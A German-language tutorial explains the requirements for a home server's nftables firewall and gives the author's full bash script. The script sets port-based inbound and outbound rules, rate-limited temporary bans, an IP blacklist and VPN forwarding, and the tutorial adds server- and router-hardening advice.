Bevor es an die Einrichtung dieses Paketfilters geht, braucht es erst mal eine Festlegung der konkreten Anforderungen, die dieser Paketfilter überhaupt erfüllen soll. Das sind sowieso immer die ersten Fragen, die man sich stellen muss, wenn man sich Gedanken über derartige Schutzmechanismen macht und für die man Antworten finden muss: Gegen welche Bedrohungsszenarien will ich ich diesen Server überhaupt schützen? Was sind meine persönlichen funktionalen Anforderungen an das Netzwerk und an diesen Server? Welchen weiteren Rahmenbedingungen existieren? Was muss ich erlauben, was kann ich verbieten?

Solange ich mir darüber nicht im klaren bin, ist jede Aktion ein zielloser Schuss ins Blaue, der vielleicht trifft, vielleicht aber auch nicht. Trifft er nicht, ist die aktuelle Lage mit Paketfilter sogar schlechter als vorher ohne Paketfilter. Denn man wiegt sich in der trügerischen Sicherheit einer Firewall, die gar keine ist und somit natürlich überhaupt keinen Schutz gewährleistet.

Ohne ein konkretes Ziel zu haben und ohne Überprüfung, ob man am Ende dieses Ziel auch erreicht hat, hätte die Firewall meiner Meinung nach den gleichen Effekt, als würde ich an meine Fenster im Haus den nebenstehenden Aufkleber anbringen.... „wirklich sehr beeindruckend“ wird der Einbrecher denken, wenn gar kein Gitter montiert ist.... und richtig skurril wird es, wenn sich der Hauseigentümer wegen des Aufklebers auch noch sicher fühlt.

 

Weil es hier also ein wenig komplizierter ist, als beim Reise-Laptop, braucht es hier auch einiges mehr an Überlegungen. Einfach pauschal alles zu verbieten funktioniert ganz offensichtlich nicht. Der Server bietet ja Dienste in unserem Netzwerk an, also ist es auch zielführend, dass man ihn zwar von anderen PC's im Netzwerk kontaktieren darf, direkt über das Internet ist das jedoch nicht erlaubt, über das Internet mit Hilfe OpenVPN dann aber doch. Schauen wir uns die Eckpunkte des Anforderungsprofiles für diesen Paketfilter an:

Die folgenden Dienste werden vom Server im LAN als Services zur Verfügung gestellt:

Funktion:

Dienst/App:

Erlaubnis für neue Verbindungen:

 

 

 

Fileserver

Samba

inbound

 

Mailserver  (IMAP)

Dovecot  (MDA)

inbound

 

Mailserver  (SMTP)

Postfix    (MTA)

inbound + outbound

 

Mailserver  (POP3)

Getmail  (MRA)

outbound

 

Cal/Card-DAV-Server

Radicale

inbound

 

VPN-Server

OpenVPN

inbound

 

Print-Server

Cups

inbound

 

Netzwerk-Drucker

Cups

outbound

 

 

VM-Server  (Virtual Machines, libvirt KVM)

VNC

inbound

 

 

Backup-Server (FTP)

Xtrabak

outbound

 

 

Es sind mehrere Subnetze zu berücksichtigen:

10.0.1.0/24

IPv4

Das reguläre IPv4-Netzwerk                                                     

(Subnet = statisch)

 

 

 
 

10.0.8.0/24

IPv4

OpenVPN-Verbindungen via UDP Port 55553

(Subnet = statisch)      

 

10.0.9.0/24

IPv4

OpenVPN-Verbindungen via TCP (Fallback-Connect)

Client-Port 443 → Router Port 443 → VPN-Server Port 55554

(Subnet = statisch)

 

2001::/64

IPv6

IPv6-Netzwerk mit Global Unicast Adressen und täglich wechselndem Prefix

(Site-ID = wechselnd)

 

 

fd00:10:0:8::/64

IPv6

OpenVPN-Verbindungen via UDP Port 55553

(Subnet = statisch)  

fd00:10:0:9::/64

IPv6

OpenVPN-Verbindungen via TCP Port 55554    (wie zuvor für IPv4, jetzt hier für IPv6)

(Subnet = statisch)  

Es sind 4 unprivilegierte Ports (eigene willkürliche Festlegung) für spezielle Kommunikations-Dienste zu berücksichtigen:

55551

TCP

SSH-Verbindungen   (CLI)

 

 
 

55552

TCP

VNC-Verbindungen   (GUI oder VM)

Der Server selber ist ein NON-GUI-System ohne X, beherbergt aber eine virtuelle Maschine mit X-Server und GUI, die nur über VNC bedient werden kann  (libvirt-VMS (KVM/QEMU)).

 

55553

UDP

OpenVPN-Verbindungen durch Mobil-Geräte

 

55554

TCP

OpenVPN-Verbindungen durch Mobil-Geräte   (Fallback-Connect)

Client-Port 443 → Router Port 443 → VPN-Server Port 55554  

 

Weitere zu berücksichtigende Rahmenbedingungen:

1.

Weil ich keinen Einfluss darauf habe, welchen IP-Stack ein Prozess verwendet, muss der Traffic von IPv4 und IPv6 analog reguliert werden

 

 
 

2.

Die wegen Dual-Stack derzeit täglich stattfindende Zwangstrennung muss berücksichtigt werden

(ISP-IP-Wechsel = Neuer Prefix = Neue Side-ID für IPV6 auf den Client-PCs)

 

3.

Datenpakete durch VPN-Verbindungen eigener Mobilgeräte aus dem Internet müssen berücksichtigt werden

 

4.

Warum werden überhaupt Bash-Scripte verwendet und nicht die /etc/nftables.conf, um die Regeln persistent einzustellen?

Die Frage ist einfach zu beantworten, nämlich aus dem gleichen Grund, warum ich zuvor auch schon nicht iptables-save/restore verwendet habe, denn beiden Arten solcher Regel-Speicherung beinhalten die gleiche Schwäche. Es handelt sich in beiden Fällen um die Speicherung und den Restore von statischen Regeln, die immer gleich bleiben und die sich somit am besten für eine zustandslose Paketfilterung eignen. Das bedeutet u.a., dass auf diese Weise aktivierte Regeln während der ganzen Laufzeit eines Rechners/Servers statisch sind, also konstant immer gleich bleiben. Infolgedessen ist die Konsequenz, dass Filterregeln nicht auf aktuelle Veränderungen reagieren können, z.B. auf äußere Veränderungen durch einen ISP-Prefix-Wechsel. Und es bedeutet, dass sie auch nicht oder nur eingeschränkt auf bestimmte sich verändernde Inhalte innerhalb von Paketen reagieren können, z.B. durch eine explizite Behandlung von Ziel- oder Absender-IP-Adressen. Solch statisches Verhalten entspricht aber nicht meinen Anforderungen. Die Script-Generierung der Regeln beinhaltet hier ein deutlich höheres Maß an Flexibilität, gerade vor dem Hintergrund der sich täglich ändernden Site-ID.

Für diesen Paket-Filter gelten 3 primäre Forderungen:

1.

Es ist grundsätzlich alles verboten

 

 
 

2.

Erste Ausnahme:

Für explizit benannte Ports werden eingehende Pakete dann angenommen, wenn die Quelle des Pakets innerhalb des Heim-Netzwerks liegt, ansonsten gilt Pkt .1

 

3.

Zweite Ausnahme:

Für einige wenige explizit benannte Ports ist ausgehender Traffic erlaubt, ansonsten gilt Pkt. 1

 

Im Gegensatz zum Laptop habe ich jetzt hier die Sichtweise, dass ich mich weniger mit Angriffen von außen befasse, sondern primär mit den möglicherweise vom Server ausgehenden Aktionen, die hier ziemlich umfassend verboten sind ... *hmmm* ... eigentlich ist diese Aussage hinsichtlich meiner tatsächlichen Absichten nicht wirklich richtig, ich habe nämlich gar nicht viel verboten, ich habe stattdessen einfach nur sehr wenig erlaubt. Das ist ein vor dem Hintergrund der Policies relevanter Unterschied, der den Effekt hat, dass alles, was ich nicht erlaubt habe, automatisch verboten ist.

Der Grund ist einfach und wurde schon in der Einleitung dargelegt: Die Router-Firewall verhindert sowieso schon illegale Zugriffe von außen. Meine Prämissen für diese Maßnahme sind also, von innen heraus vorbereitete oder versuchte Angriffe bzw. die Möglichkeiten dazu zu erschweren oder gar zu verhindern, indem ich stark beschränke, welche Ports überhaupt für einen Verbindungsaufbau innerhalb und außerhalb unseres Netzwerkes erlaubt sind. Im Endeffekt ist es dem Server (resp. den installierten Programmen) verboten, von sich aus Kontakt ins Internet aufzunehmen oder gar beliebige unprivilegierte Ports ins Internet zu öffnen. Das hat allerdings eine unvermeidbare Auswirkung, die möglicherweise unter anderen Umständen sogar als Problem auffällt. Mit diesem Paketfilter ist beispielsweise ein automatischer Update/Upgrade (siehe UnattendedUpgrades) nicht möglich, weil der Paketfilter genau das nicht erlauben würde. Für mich ist dieser Aspekt jedoch ein gewollter Aspekt, denn ich bestehe darauf, dass das Betriebssystem meines Servers nur unter meiner Aufsicht verändert wird.

Nur indirekt zum Firewall-Konzept des Servers gehören die folgenden Maßnahmen oder Aspekte, die allerdings dennoch einen nicht zu unterschätzenden Einfluss auf die Integrität des Servers haben, und zwar im Wesentlichen durch Verzicht auf Komfort – dessen Notwendigkeit meiner Einschätzung nach bei einer solchen Maschine sowieso maßlos überschätzt wird…. man braucht das alles sowieso nicht wirklich. Hier also einige Maßnahmen, um die 'Oberfläche' angreifbarer Dienste des Servers (vor wem oder wodurch auch immer) so klein wie möglich zu halten:

 

Es ist kein Desktop-Environment installiert, es ist also keine (tatsächlich auch unnötige) grafische Benutzer-Oberfläche verfügbar

 
 

Es sind keine (ebenfalls unnötigen) redundanten Dienste installiert, wie z.B. rsyslog, networking, dhcpcd, ntp, networkmanager, avahi. Stattdessen ist ein Static-IP-Setup für IPv4 eingerichtet und systemd-Services wie networkd, timesyncd, resolved, journald sind aktiviert. Avahi ist im Regelfall überflüssig, wenn Client-Geräte ausschließlich über einen Router betrieben werden.

 

Lokale Anmeldungen durch User sind nicht möglich (Keine Eingabegeräte (Keyboard/Mouse) vorhanden, kein Bildschirm, also auch keine unmittelbaren Benutzer-Interaktionen)

 

Für IPv6 die Privacy Extensions aktivieren

 

Mit ss -tulpn den Server darauf überprüfen, welche Dienste auf welchen Ports pauschal auf dem aktiven Netzwerk-Interface ‚lauschen‘, ggf. diese Dienste auf localhost oder den lokalen Netz-Prefix einstellen

 

SSH-Anmeldungen nur mit Keyfile-Autorisierung erlauben (PubkeyAuthentication yes, PasswordAuthentication no). Sofern nicht für spezielle Routinen/Programme (z.B. für Backups) eine automatische SSH-Anmeldung mit root-Rechten ausdrücklich notwendig ist, root-Login verbieten (PermitRootLogin no).

 

Updates/Upgrades werden durch root ausschließlich manuell und nach Abschalten der FW durchgeführt. Weil auf dem System eh nur benötigte Dienste und Systemprogramme installiert sind, ist die Wahrscheinlichkeit sehr hoch, dass beim Upgrade gerade solche Dienste laufen und betroffen sind. Insofern erfordert das Upgrade sowieso einen Restart des Systems, wodurch die Firewall wieder neu initialisiert wird.

 

Für den DSL-Router empfehle ich die folgenden Einstellungen zu kontrollieren und ggf. anzupassen:

- Anspruchsvolles Zugangs-Password zu den Router-Einstellungen vergeben

- SSID ändern, wenn aus der eingetragenen der Router (Name, Typ) ermittelt werden kann

- WLAN-Verschlüsselung kontrollieren und ggf. WPA2/CCMP erzwingen

- Internetzugriff auf die FRITZ!Box bzw. den eigenen DSL-Router (Fernwartung) deaktivieren

- Internetzugriff über FTP auf die internen Speichermedien der Fritz!Box bzw. des eigenen DSL-Routers deaktivieren

- Zugang eigener mobiler WLAN-Clients an MAC-Adressen binden

- WPS-Schnellverbindung deaktivieren

- Gastzugriffe deaktivieren

- Übertragung Statusinformationen über UPnP deaktivieren

- Anbieter-Dienste über TR-069 deaktivieren!!! (Anmerk.: Wenn das Anbieterabhängig nicht möglich ist, würde ich heute sofort einen eigenen Custom-Router mit Firewall in Betrieb nehmen, um mein lokales Netzwerk vor dem DSL-Router zu schützen. Die TR-069-Schnittstelle ist faktisch eine Backdoor für Zugriffe von außen auf unseren Router und damit in unser Netzwerk und deswegen einer besonderen Beachtung wert.)

- In gewissen Abständen überprüfen, ob die Firmware unseres DLS-Routers noch aktuell ist oder ob Updates verfügbar sind

 

Mit verschiedenen Online-Tests einen Scan auf offene privilegierte Ports (1-1024) für TCP und UDP durchführen (Such-Stichwort Online Port-Scan, ggf. ergänzt mit IPv4 oder IPv6).

 

Benachrichtigung per Mail über VPN- und SSH-Anmeldeversuche vom Vortag.

 

Zur Erinnerung: alle notwendigen Dateien können mit diesem Archiv herunter geladen werden (was ich anstatt der Verwendung der Texte von der Web-Seite auch unbedingt empfehle):    http://www.thlu.de/Public/security.tar

/usr/local/bin/netfilter

Die Rechte-Einstellung für das Script:         root:root 755

 

#!/bin/bash

#=================================================================================================================

# Description:  Server-Netfilter

# Version:      7.2.1

# Date:         23.06.2020

# Written by:   TomL*thlu.de

# Licence:      GNU General Public License 3

# Usage:        netfilter                      Set Netfilter IPv4 and IPv6

#               netfilter { 4 | 6 }            Set Netfilter IPv4 or IPv6

#               netfilter flush                Flush Netfilter

#               netfilter list                 List all rules

#=================================================================================================================

#  10.0.1.0/24    LAN         10.      0.       1.       0.

#                             00001010 00000000 00000001 00000000

#

#  10.0.8.0/24    VPN-UDP     00001010 00000000 00001000 00000000

#  10.0.9.0/24    VPN_TCP     00001010 00000000 00001001 00000000

#  10.0.8.0/23                ^^^^^^^^ ^^^^^^^^ ^^^^^^^

#=================================================================================================================

 

PATH=/sbin:/usr/sbin:/bin:/usr/bin:$PATH

 

[ "$1" == "flush" ] && nft flush ruleset && echo "netfilter flushed!" | systemd-cat -t "thlu:$(basename $0)" -p "warning"

[ "$1" == "list" ] && nft -nn list ruleset

[ -n "$1" ] && [ ! "$1" == "4" ] && [ ! "$1" == "6" ] && exit 0

 

echo "netfilter started!" | systemd-cat -t "thlu:$(basename $0)" -p "info"

 

modprobe nf_conntrack

modprobe nf_conntrack_ftp                                                                                   # FTP Application-Layer-Getway

#modprobe br_netfilter                                                                                      # enable Bridge-Filter

sysctl -w net.netfilter.nf_conntrack_helper=1 >/dev/null

 

ipv4=""

ipv6=""

ipv4_lan="127.0.0.0/8"

ipv6_lan="::1/128"

ipv4_vpn="10.0.8.0/23"

ipv6_vpn="fd00:10:0:8::/63"

ipv4_netw=""

ipv6_netw=""

interface=""

 

tStart=$(date +%s)

tEnd=$(date +%s)

timeout=85

 

#=================================================================================================================

# Determine Network Site-Id's for IPv4+6 with waitstates (slaac may take some time)

 

GetNetw()

{

    tTmp=$(date +%s)

    NetwStack=$1

    ip=""

 

    while [ $timeout -gt 0 ]; do

        interface=$(ip route 2>/dev/null | grep default -m 1 | awk -F ' ' '{ print $5 }')

 

        if [ -n "$interface" ]; then

            ip=$(ip -$NetwStack -o addr show $interface | grep -v "deprecated\|^fd00" | grep "scope global" -m 1 | cut -d\  -f 7 | cut -d/ -f 1)

            [ -n "$ip" ] && break

        fi

 

        (( timeout-- ))

        sleep 1

    done

 

    tEnd=$(date +%s)

    if [ -z "$ip" ]; then

        echo "netfilter check NIC: terminated with error. IPv$NetwStack is not configured after $((tEnd-tTmp)) seconds waiting." | systemd-cat -t "thlu:$(basename $0)" -p "err"

        return 1

    else

        [ $NetwStack -eq 4 ] && ipv4_lan=$(echo $ip | cut -d'.' -f1-3)".0/24" && ipv4=$ip

        [ $NetwStack -eq 6 ] && ipv6_lan=$(echo $ip | cut -d':' -f1-4)"::/64" && ipv6=$ip

 

        echo "netfilter check NIC: $((tEnd-tTmp)) seconds waiting until IPv$NetwStack on $interface is configured" | systemd-cat -t "thlu:$(basename $0)" -p "info"

    fi

 

    return 0

}

#=================================================================================================================

 

SetInboundV4()

{

  nft add rule ip filter input ip saddr @blackhole counter log prefix \"Temp.banned IP: \" drop             # Temporarily banned IPs

  nft add rule ip filter input ct state invalid counter drop                                                # Drop non-conforming packets (malformed headers, etc.)

  nft add rule ip filter input iifname lo accept                                                            # Allow loopback traffic

                                                                                                            # check martians = hack? flood?                                                                    

  nft add rule ip filter input ct state new                     ip saddr != $ipv4_netw limit rate over 1/minute set add ip saddr @blackhole

  nft add rule ip filter input icmp type echo-request           ip saddr != $ipv4_netw limit rate over 10/minute set add ip saddr @blackhole

 

  nft add rule ip filter input ip protocol icmp                 ip saddr == $ipv4_netw accept               # Allow local icmp

  nft add rule ip filter input pkttype { broadcast, multicast } ip saddr == $ipv4_netw accept               # Allow local *cast-messages

  nft add rule ip filter input ct state established,related accept                                          # Allow established connections

 

  nft add rule ip filter input tcp dport    25 ip saddr $ipv4_netw accept                                   # SMTP

# nft add rule ip filter input tcp dport    80 ip saddr $ipv4_netw accept                                   # HTTP

# nft add rule ip filter input tcp dport   443 ip saddr $ipv4_netw accept                                   # HTTPS

  nft add rule ip filter input tcp dport   143 ip saddr $ipv4_netw accept                                   # IMAP

  nft add rule ip filter input tcp dport   445 ip saddr $ipv4_netw accept                                   # CIFS  (smbd)

  nft add rule ip filter input tcp dport   631 ip saddr $ipv4_netw accept                                   # Cups

  nft add rule ip filter input tcp dport   993 ip saddr $ipv4_netw accept                                   # IMAPS (TLS/SSL)

  nft add rule ip filter input tcp dport  5232 ip saddr $ipv4_netw accept                                   # Radicale

  nft add rule ip filter input tcp dport 55551 ip saddr $ipv4_netw accept                                   # SSH

  nft add rule ip filter input tcp dport 55552 ip saddr $ipv4_netw accept                                   # VNC/RDT

  nft add rule ip filter input udp dport 55553 accept                                                       # OpenVPN UDP

  nft add rule ip filter input tcp dport 55554 accept                                                       # OpenVPN TCP (Router->443 >>> VPNServer->55554)

 

  nft add rule ip filter input ip protocol tcp counter reject with tcp reset                                # TCP RST=Close TCP-Connect properly

  nft add rule ip filter input counter reject with icmp type port-unreachable                               # reject all other traffic

}

#=================================================================================================================

 

SetInboundV6()

{

  nft add rule ip6 filter input ip6 saddr @blackhole counter log prefix \"Temp.banned IP: \"  drop          # Similar to V4

  nft add rule ip6 filter input ct state invalid counter drop

  nft add rule ip6 filter input iifname lo accept

 

  nft add rule ip6 filter input ct state new                     ip6 saddr != $ipv6_netw limit rate over 1/minute set add ip6 saddr @blackhole

  nft add rule ip6 filter input icmpv6 type echo-request         ip6 saddr != $ipv6_netw limit rate over 10/minute set add ip6 saddr @blackhole

 

  nft add rule ip6 filter input meta l4proto ipv6-icmp           ip6 saddr == $ipv6_netw accept

  nft add rule ip6 filter input pkttype { broadcast, multicast } ip6 saddr == $ipv6_netw accept

  nft add rule ip6 filter input ct state established,related accept

 

  nft add rule ip6 filter input tcp dport    25 ip6 saddr $ipv6_netw accept

# nft add rule ip6 filter input tcp dport    80 ip6 saddr $ipv6_netw accept

# nft add rule ip6 filter input tcp dport   443 ip6 saddr $ipv6_netw accept

  nft add rule ip6 filter input tcp dport   143 ip6 saddr $ipv6_netw accept

  nft add rule ip6 filter input tcp dport   445 ip6 saddr $ipv6_netw accept

  nft add rule ip6 filter input tcp dport   631 ip6 saddr $ipv6_netw accept

  nft add rule ip6 filter input tcp dport   993 ip6 saddr $ipv6_netw accept

  nft add rule ip6 filter input tcp dport  5232 ip6 saddr $ipv6_netw accept

  nft add rule ip6 filter input tcp dport 55551 ip6 saddr $ipv6_netw accept

  nft add rule ip6 filter input tcp dport 55552 ip6 saddr $ipv6_netw accept

  nft add rule ip6 filter input udp dport 55553 accept

  nft add rule ip6 filter input tcp dport 55554 accept

 

  nft add rule ip6 filter input meta l4proto tcp counter reject with tcp reset

  nft add rule ip6 filter input counter reject with icmpv6 type port-unreachable

}

#=================================================================================================================

 

SetOutboundV4()

{

  nft add rule ip filter output oifname lo accept                                                           # Allow loopback traffic

  nft add rule ip filter output ip protocol icmp accept                                                     # Allow outgoing icmp

  nft add rule ip filter output pkttype { broadcast, multicast } accept                                     # Allow outgoing packet-types

  nft add rule ip filter output ct state established,related accept                                         # Allow established connections

 

  nft add rule ip filter output tcp dport  21 accept                                                        # FTP-Client

  nft add rule ip filter output tcp dport  25 accept                                                        # SMTP

  nft add rule ip filter output tcp dport  53 accept                                                        # DNS lookup

  nft add rule ip filter output udp dport  53 accept                                                        # DNS lookup

  nft add rule ip filter output udp dport 123 accept                                                        # ntp

  nft add rule ip filter output tcp dport 465 accept                                                        # SMTPS (TLS/SSL)

  nft add rule ip filter output tcp dport 515 accept                                                        # Line-Printer-Daemon (Netprinter)

  nft add rule ip filter output tcp dport 587 accept                                                        # SMTP

  nft add rule ip filter output tcp dport 995 accept                                                        # POP3S (TLS/SSL)

 

  nft add rule ip filter output counter reject with icmp type admin-prohibited

}

#=================================================================================================================

 

SetOutboundV6()

{

  nft add rule ip6 filter output oifname lo accept                                                          # Similar to V4

  nft add rule ip6 filter output meta l4proto ipv6-icmp accept

  nft add rule ip6 filter output pkttype { broadcast, multicast } accept

  nft add rule ip6 filter output ct state established,related accept

 

  nft add rule ip6 filter output tcp dport  21 accept

  nft add rule ip6 filter output tcp dport  25 accept

  nft add rule ip6 filter output tcp dport  53 accept

  nft add rule ip6 filter output udp dport  53 accept

  nft add rule ip6 filter output udp dport 123 accept

  nft add rule ip6 filter output tcp dport 465 accept

  nft add rule ip6 filter output tcp dport 515 accept

  nft add rule ip6 filter output tcp dport 587 accept

  nft add rule ip6 filter output tcp dport 995 accept

 

  nft add rule ip6 filter output counter reject with icmpv6 type admin-prohibited

}

#=================================================================================================================

 

SetForwardV4()

{

  nft add rule ip filter forward ct state related,established accept                                        # Allow established connections

# nft add rule ip filter forward iifname tun* ip saddr $ipv4_vpn ip daddr == $ipv4_lan accept               # Allow traffic from VPN-Client to access LAN

# nft add rule ip filter forward iifname tun* ip saddr $ipv4_vpn ip daddr != $ipv4_lan accept               # - to access WWW

  nft add rule ip filter forward iifname tun* ip saddr $ipv4_vpn accept                                     # - to access LAN and WWW

 

  nft add rule ip filter forward counter drop

 

#-----------------------------------------------------------------------------------------------------------------

 

  nft add rule ip filter postrouting oifname $interface ip saddr $ipv4_vpn masquerade                       # Masquerade traffic from VPN to Output-Interface

}

#=================================================================================================================

 

SetForwardV6()

{

  nft add rule ip6 filter forward ct state related,established accept                                       # Similar to V4

  nft add rule ip6 filter forward iifname tun* ip6 saddr $ipv6_vpn accept

 

  nft add rule ip6 filter forward counter drop

 

#-----------------------------------------------------------------------------------------------------------------

 

  nft add rule ip6 filter postrouting oifname $interface ip6 saddr $ipv6_vpn masquerade

}

#=================================================================================================================

# Blacklisting predefined IPs in /usr/local/bin/netfilter-reject-ip

 

SetBlacklist()

{

  Blacklist="$(dirname $0)/netfilter-reject-ip"

 

  [[ "$1" =~ "4" ]] && nft add rule ip  filter blacklisted log prefix \"Blacklisted IP: \" drop

  [[ "$1" =~ "6" ]] && nft add rule ip6 filter blacklisted log prefix \"Blacklisted IP: \" drop

 

  if [[ -s "${Blacklist}" ]]; then

      while read ip; do

          [ -n "$ip" ] && ip=${ip%#*}

          if [ -n "$ip" ]; then

              [[ "$1" =~ "4" ]] && [[ "$ip" =~ "." ]] && nft add rule ip  filter raw ip saddr $ip counter goto blacklisted

              [[ "$1" =~ "6" ]] && [[ "$ip" =~ ":" ]] && nft add rule ip6 filter raw ip6 saddr $ip counter goto blacklisted

          fi

      done < <(cat "${Blacklist}"; echo "")

  fi

}

#=================================================================================================================

 

nft flush ruleset

 

if [ -z "$1" ] || [ "$1" == "4" ]; then                                                                     # "" = both, only IPv4?

    GetNetw 4

 

    if [ $? -eq 0 ]; then

        ipv4_netw="{ $ipv4_lan, $ipv4_vpn }"

 

        nft add table ip filter

        nft add chain ip filter raw         "{ type filter hook prerouting   priority -300; counter;}"

        nft add chain ip filter prerouting  "{ type nat    hook prerouting   priority -100; counter;}"

        nft add chain ip filter input       "{ type filter hook input        priority    0; counter;}"

        nft add chain ip filter output      "{ type filter hook output       priority    0; counter;}"

        nft add chain ip filter forward     "{ type filter hook forward      priority    0; counter;}"

        nft add chain ip filter postrouting "{ type nat    hook postrouting  priority  100; counter;}"

        nft add chain ip filter blacklisted

        nft add set   ip filter blackhole   "{ type ipv4_addr; flags timeout; timeout 60m; gc-interval 1m; size 1000; }"

 

        SetInboundV4

        SetOutboundV4

        SetForwardV4

        SetBlacklist "4"

    fi

fi

 

if [ -z "$1" ] || [ "$1" == "6" ]; then

    GetNetw 6

 

    if [ $? -eq 0 ]; then

        ipv6_netw="{ $ipv6_lan, $ipv6_vpn, fd00::/16, fe80::/16 }"

 

        nft add table ip6 filter

        nft add chain ip6 filter raw         "{ type filter hook prerouting  priority -300; counter;}"

        nft add chain ip6 filter prerouting  "{ type nat    hook prerouting  priority -100; counter;}"

        nft add chain ip6 filter input       "{ type filter hook input       priority    0; counter;}"

        nft add chain ip6 filter output      "{ type filter hook output      priority    0; counter;}"

        nft add chain ip6 filter forward     "{ type filter hook forward     priority    0; counter;}"

        nft add chain ip6 filter postrouting "{ type nat    hook postrouting priority  100; counter;}"

        nft add chain ip6 filter blacklisted

        nft add set   ip6 filter blackhole   "{ type ipv6_addr; flags timeout; timeout 60m; gc-interval 1m; size 1000; }"

 

        SetInboundV6

        SetOutboundV6

        SetForwardV6

        SetBlacklist "6"

    fi

fi

#-----------------------------------------------------------------------------------------------------------------

 

echo "netfilter successfully activated after $(($(date +%s)-tStart)) seconds" | systemd-cat -t "thlu:$(basename $0)" -p "info"

exit 0

 

#-----------------------------------------------------------------------------------------------------------------

# Temporary validity:

 

echo "Paketfilter ist aktiv!"

sleep 2

$0  list

read -t 180 -p "180 Sekunden aktiver Paketfilter. ENTER zum Beenden oder warten..."

$0  flush

$0  list

exit 0

 

#=================================================================================================================

#EOF

Wie ist der logische Ablauf dieses Paketfilters?

1. In der Initialisierung sicherstellen, dass die für Conntrack benötigten Kernel-Module geladen sind

2. Funktion GetNetw

3. Einrichtung der benötigten Netfilter-Tabellen

4. Funktionen SetInbound, SetOutbound, SetForward

5. In usr/local/bin/netfilter-reject-ip vordefinierte IPs in Blacklist für permanentes Blocken eintragen

Einer besonderen Beachtung wert sind diese folgenden Regeln am Anfang der Inbound-Rules mit den beiden Kommentaren check martians = hack? flood?‘ undallow local icmp, *cast-Messages‘

IPv4 und IPv6

nft add rule ip filter input ct state new            ip saddr != $ipv4_netw limit rate over 1/minute set add ip saddr @blackhole

nft add rule ip filter input icmp type echo-request  ip saddr != $ipv4_netw limit rate over 10/minute set add ip saddr @blackhole

 

nft add rule ip filter input ip protocol icmp                 ip saddr == $ipv4_netw accept

nft add rule ip filter input pkttype { broadcast, multicast } ip saddr == $ipv4_netw accept

Für beide IP-Protokolle sind für diesen Rechner Verbindungsversuche von anderen Systemen grundsätzlich erlaubt. Das muss so sein, weil das ja die Kernaufgabe dieses als Server arbeitenden Rechners ist, er soll ja von anderen System kontaktiert werden können, sowohl von innerhalb des Netzwerkes als auch von außerhalb über das Internet via OpenVPN. Es handelt sich dabei z.B. um Anfragen der eigenen Client-PCs im Netz, die z.B. einen Samba-Share öffnen wollen, oder sich mit dem Mailserver, dem Cal/Card-Server oder dem Drucker verbinden wollen. Solche Verbindungen sind natürlich erwünscht. LAN-intern handelt es sich dabei immer um bekannte IP-Adressen. Oft sind es nur einfache Verbindungen, aber gerade wenn es um den Mailserver geht, kann es auch sein, dass vom Mail-User-Agent auf dem Client-PC (z.B. Thunderbird) für jedes User-Postfach eine eigene Verbindung etabliert wird. Insofern ist es hier schwierig eine allemeingültige Limit-Rate zu definieren - denn was für den Mail-Server notwendig ist, kann für andere Fälle zu weit geöffnet bedeuten, oder was vielleicht bewusst knapp gehalten wird, kann den Gebrauch des Mailservers behindern.

Die ct-state-new-Regel verbietet also erst mal keine eingehenden Anfragen für eine neue Verbindung, auch nicht aus dem Internet kommend, und auch nicht mehrere hintereinander.  Aber es wird auf gar keinen Fall zugelassen, dass ein „Besucher“ von außerhalb ungestraft unzählige Versuche startet, um in mein Netzwerk zu kommen oder das Netzwerk mit einer Flut von Syn-Flag-Paketen zu attackieren. Nach dem 2. Fehlversuch wird eine solche fremde IP-Adresse für 60 Minuten gebannt und alle weiteren Versuche werden als Hacking oder Einbruchsversuch bewertet. Das ist beispielsweise bei den täglich rund um die Uhr stattfindenden Hacking-Versuchen der Fall, wenn irgendwelche Bots irgendwo auf der Welt sich Zugang zu meinem Netz verschaffen wollen. Nach drei erfolglosen Versuchen werden die IPs gesperrt. Leider passieren diese Angriffe unweigerlich und sogar sehr häufig. Sobald ein Port zum Internet geöffnet ist, versuchen ununterbrochen irgendwelche Fremde diesen Port zu nutzen. Ich kann diesen Zugang aber auch nicht vollständig sperren, weil damit dann der von mir selbst benötigte Zugang via OpenVPN auch nicht mehr möglich ist, wenn ich unterwegs oder auf Reise bin. Diese temporäre Sperre funktioniert tatsächlich so zuverlässig, dass ich mich testweise sogar selber vorübergehend aussperren konnte. Das geschieht, wenn ich z.B. mit OpenVPN von außerhalb eine TCP-Verbindung öffnen würde und diese versuchsweise  ohne Anmeldung sofort wieder schließe, erneut aufbaue und wieder sofort schließe. Nach 2 solcher Fehler-Tests wäre ein weiterer Versuch erst wieder nach Ablauf der Sperr-Wartezeit möglich. Die Besonderheit besteht also darin, dass ein Paket durchaus von außen kommen darf, aber es muss am Besten gleich beim ersten Connect-Versuch von einem lokal wartenden Prozess als „Legal“ anerkannt werden. Wird das Paket wegen fehlerhafter Authentifizierung vom Prozess abgewiesen, ist damit der 1. von maximal 2. Verbindungsversuchen (erfolglos) passiert.

Hier wird also zunächst überprüft, woher der Verbindungsversuch oder der Echo-Request kommt. Kommt er aus dem lokalen Netzwerk oder einem als ‚lokal‘ definierten Adressbereich (LLA, ULA), so werden die Anfragen zwar nicht verworfen, aber auch nicht sofort akzeptiert. Kommt die Anfrage über das Internet rein, so wird das Paket auch nicht abgewiesen, aber der Verbindungsaufbaus wird auf 2 Versuche innerhalb 1 Minute limitiert. Soweit es das lokale Netz angeht, vertrete ich hier sowieso und ohne Zweifel die Sichtweise, dass es hier LAN-intern kein von innen initiiertes Syn-Flag-Flooding geben wird. Wenn überhaupt, dann nur von außen unter Nutzung eines im Router geöffneten Ports. Aber genau das ist eben auf nur 2 Versuche begrenzt.

Sofern ein  Datenpaket also die beiden Reject-Regeln überstanden hat, bedeutet das aber noch nicht, dass sie angenommen werden, es bedeutet nur, dass sie die erste Prüfung überstanden haben. Sind es reguläre Datenpakete müssen sie noch die Port-bezogenen Regeln durchlaufen und auch diese überstehen. Lediglich die Pakete für ICMP, Broadcast und Multicast, die keine Datenpakete mit einer für uns als Anwender sichtbaren Bedeutung sind, die aber netzwerk-systemisch notwendig sind, müssen aus einem als ‚lokal‘ definierten Adressbereich kommen und werden dann auch sofort akzeptiert. Auf gar keinen Fall darf der Paketfilter grundsätzlich solcherart Datenpakete verwerfen, weil z.B. ICMP für den Betrieb des Netzwerkes selber sogar zwingend notwendig ist, ganz besonders beispielsweise für IPv6. Und man braucht es auch selber, wenn man Echo-Request via Ping-Anfragen bei Netzwerk-Fehler-Diagnosen benötigt. Kämen sie tatsächlich aus der „Fremde“, würden sie also erst mal nicht accepted werden und würden noch die Portregeln durchlaufen, ohne das die eine Zuständigkeit feststellen, um dann ganz am Ende schließlich doch verworfen zu werden.

